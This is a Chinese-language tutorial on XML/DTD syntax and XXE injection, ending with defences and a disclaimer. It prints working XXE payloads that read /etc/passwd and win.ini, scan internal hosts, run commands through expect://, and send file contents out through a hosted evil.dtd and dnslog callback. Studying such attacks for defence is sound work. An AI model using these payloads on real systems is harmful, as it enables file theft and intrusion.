XML简介
-
XML:传输和存储数据的数据格式;
-
XML 文档结构(组成):XML 声明,DTD 文档类型定义,ELEMENT 文档元素;
<!-- XML声明 --> <?xml version="1.0" standalone="no" ?> <!--xml文档属性--> <!--standalone="yes" 表示内部DTD,no表示外部DTD(默认)--> <!-- DTD(文档类型定义):定义元素属性和顺序 --> <!--DOCTYPE 定义标签--> <!--ELEMENT 定义元素--> <!--ENTITY 定义实体--> <!DOCTYPE person [ <!--根元素(必须存在),自定义标签名(person)成对出现,且区分大小写--> <!ELEMENT person(name,age,country)> <!--声明person元素有3个元素--> <!ELEMENT name(#PCDATA)> <!--声明name为"#PCDATA"类型--> <!--"#PCDATA"类型可被解析--> <!ELEMENT age(#CDATA)> <!--声明age为"#CDATA"类型--> <!--"#CDATA"类型不可被解析--> <!ELEMENT country(#PCDATA)> <!--声明country为"#PCDATA"类型--> <!ELEMENT sss ANY> <!--ANY 表示可以包含任意元素--> <!--重点: 参数实体 和 外部实体 (ENTITY)--> <!ENTITY % address SYSTEM "address.txt"><!--声明外部参数实体:声明实体内容在XML文档外--> <!--实体相当于常量,参数实体相当于变量--> <!--外部[参数]实体格式:<!ENTITY [%] 实体名称 SYSTEM/PUBLIC "外部DTD的资源地址">--> <!--例:<!ENTITY % remote SYSTEM "http://121.40.24.5:8000/evil.dtd"> --> <!ENTITY % name "小明"> <!--声明内部参数实体:声明实体内容("小明")在XML文档中--> <!--内部[参数]实体格式:<!ENTITY [%] 实体名称 "实体值">--> ]> <!--文档元素--> <person> <name>&name;</name> <age>1</age> <country>China</country> <sss> <name>&name;</name> <!--sss接收"小明"--> </sss> </person>
-
外部引用支持的协议(通用:
file,ftp,http
)|------------------------------------------------------------------------------------------|----------------------------------------------------------------------|---------------------------------|------------------------|
| PHP | JAVA | .NET | libxml2 |
| 1. file 2. ftp 3. http 4. php 5. data 6. glob 7. phar 8. compress.zlib 9. compress.bzip2 | 1. file 2. ftp 3. http 4. jar 5. https 6. gopher 7. netdoc 8. mailto | 1. file 2. ftp 3. http 4. https | 1. file 2. ftp 3. http |
XXE简介
-
XXE:外部实体注入漏洞。由于XML解析器允许外部实体的引用,导致攻击者可以对其进行攻击;
-
原理:XML解析器允许外部实体的引用;
-
危害(利用方式):
1). 扫描内网端口(http);
2). 攻击内网网站(http);
3). 任意文件读取(file,php);
4). 命令执行(expect);
-
XXE 类型(分类)
分类 利用方式 有回显 直接利用即可 <?xml version = "1.0"?> <!DOCTYPE a [<!ENTITY b "XXE">]><c>&b;</c> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://192.168.1.1:80" >]> <root> <name>&xxe;</name> </root> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://192.168.1.2/admin" >]> <root> <name>&xxe;</name> </root> <?xml version="1.0"?> <!DOCTYPE a[ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> &xxe; <!DOCTYPE test [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >]> <root> <name>&xxe;</name> </root> <?xml version ="1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://whoami"> <x>&xxe;</x> 无回显 通过 DNSlog
检测,http
日志外带; <?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % xxe SYSTEM "http://johmvd.dnslog.cn" > %xxe; ]> # VPS: # 启动服务:python -m SimpleHTTPServer 或 python -m http.server # 上传evil.dtd,文件内容: <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.1.1:8000?p=%file;'>"> # Brup payload: <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.1.1:8000/evil.dtd"> %remote; %int; %send; ]> -
XXE防御方式:
1). 禁用 外部实体(system,public);
2). 过滤 用户输入;
3). 升级
libxml
组件; -
如何挖掘XXE漏洞:
1).寻找能够识别
XML
语句的功能点,或是数据包类型是application/xml
的;①. 功能点提交的语句是
XML
;②. 功能点提交的语句是
Json
,但改为XML
后可用的 ; -
XXE验证方式:
1). 首先,判断目标是否接收
XML
类型数据,如果是JSON
数据类型,可以将数据改为XML
数据格式;①. 例: burp抓包中包含 :
username=admin $ pass=123456;
②. 将其改为
<username>admin</username><pass>123456</pass>
2). 其次,如果能够正常接收,则可以继续判断有无回显做进一步测试;
-
XXE引用外部实体的关键字:system,public ;
-
XXE利用的协议:
file
,ftp
,http
,php
,data
等等;
免责声明
-
本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。
-
本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。
-
本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。
-
读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。
-
本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。
-
作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。
敬请广大读者谅解。如有疑问,请联系我们。谢谢!